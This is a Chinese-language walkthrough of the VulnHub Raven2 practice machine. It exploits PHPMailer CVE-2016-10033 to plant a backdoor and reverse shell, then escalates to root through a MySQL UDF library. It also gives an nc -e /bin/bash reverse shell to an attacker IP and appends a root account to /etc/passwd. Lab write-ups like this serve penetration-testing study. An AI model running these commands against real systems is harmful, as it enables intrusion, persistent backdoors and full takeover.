No.3-VulnHub-Raven2渗透学习

VulnHub-Raven2渗透学习

一、前言

靶机地址:https://www.vulnhub.com/entry/raven-2,269/
难度:中等
目标:获取root权限,并获取到4个flag

二、信息收集

1.获取攻击目标

使用nmap或者netdiscover扫描网段信息,获取攻击目标

# nmap扫描网段
nmap -sP 192.168.88.0/24
# netdiscover扫描网段
netdiscover -r 192.168.88.0/24

扫描到攻击目标:192.168.88.142

2.对目标进行端口扫描

使用nmap对目标进行全端口扫描

# nmap扫描端口
nmap -p- 192.168.88.142

发现开放80端口开启

3.对目标进行信息收集

浏览器访问后发现存在wordpress但是没有发现有用信息

使用dirb扫描目标目录

# 扫描目录
dirb http://192.168.88.142

扫描目录后发现一个目标存在目录遍历

PATH文件下发现flag1

README.mdVERSION文件下发现PHPMailer插件和版本号

三、get-shell

Google搜索PHPMailer 5.2.16 exp

发现CVE2016-10033

尝试利用exp get-shell

# kali搜索对用exp
searchsploit 40974
# 复制exp
locate php/webapps/40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py .

修改exp尝试利用

修改targetbackdoor,同时修改反弹shell的ip和端口,最后修改后门文件的地址

python执行exp

# 执行exp
python3 40974.py

访问contact.php生成后门文件odfense.php

nc设置监听,访问shell文件odfense.php

python pty实现交互式shell

# python 交互式shell
python -c "import pty; pty.spawn('/bin/bash')"

寻找flag

# find命令寻找flag
find / -name flag* 2>/dev/null # 2>/dev/null 为过滤掉没有查看权限的文件

flag2

flag3

到目前为止获取到3个flag,最后一个flag大多数情况下在root目录下,需要提权查看

四、提权

1.对wordpress目录进行枚举

发现一个配置文件,猜测是数据库配置文件

查看配置文件,发现数据库密码

2.本地连接数据库

在wp_users表下发现账号密码,但是密码解密不出来

3.收集信息

查看数据库版本,发现为5.5.60

查看mysql进程信息

发现mysql是以root权限运行的,尝试使用mysql提权,mysql 的UDF提权、UDF提权是非常经典的

4.mysql提权

查看是否支持满足UDF提权条件

# UDF提权条件
1.secure_file_priv
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
2.如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看是否满足写入条件

查看mysql插件位置

查看mysql是否支持远程登录,如果能够远程登录,可以使用MSF脚本进行攻击

Google搜索mysql 5.x UDF exp

编译exp生成.so文件进行提权

# 编译生成so文件
searchsploit 1518
locate linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
gcc -g -c 1518.c
gcc -g -shared -o odfense.so 1518.o

上传so文件到目标服务器

进入数据库创建空表

# 创建空表
create table odfense(line blob)

odfense表插入数据

odfense表插入数据成功后,使用dumpfile函数把文件导出。

outfile 多行导出,数据会有特殊的转换
dumpfile 一行导出,是以原始数据导出

# 导出文件到数据库插件目录
select * from odfense into dumpfile '/usr/lib/mysql/plugin/odfense.so';

创建自定义函数

创建自定义函数do_system,类型integet,别名(soname)文件名字
create function do_system returns integer soname 'odfense.so';

查询函数是否创建成功

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

# 调用do_system函数
select do_system('chmod u+s /usr/bin/find');

执行find命令,使用find命令执行shell

# 使用find命令执行shell
# 创建一个空文件
touch odfense
find odfense -exec "/bin/sh" \;

获取flag4

五、拓展

1.mysql执行do_system函数反弹shell

执行do_system函数反弹shell

# 执行do_system函数反弹shell
nc -nlvp 8899
select do_system('nc -nv 192.168.88.129 8899 -e /bin/bash');

2.mysql执行do_system函数创建odfense用户赋予root权限

# 生成ssh密码
openssl passwd test
# 执行do_system函数把账号密码写入etc/passwd
select do_system('echo "odfense:uWJNuXe9USUDw:0:0:root:/root:/bin/bash" >> /etc/passwd');

3.stty维持shell

当我们获取到一个shell,一不小心按错ctrl+C退出shell怎么办?这时候就可以使用stty了

# stty需要/bin/bash模式下,zsh下是不行的
/bin/bash #切换模式
# 首先获得一个shell
nc -nlvp 6666
# ctrl + Z退出shell
# 执行stty
stty raw -echo
# 然后输入fg回车就返回原来shell(注意:输入fg是不会显示的)

六、参考

No.3-VulnHub-Raven: 2-Walkthrough渗透学习

PHPMailer

Mysql UDF提权

你可能感兴趣的:(安全)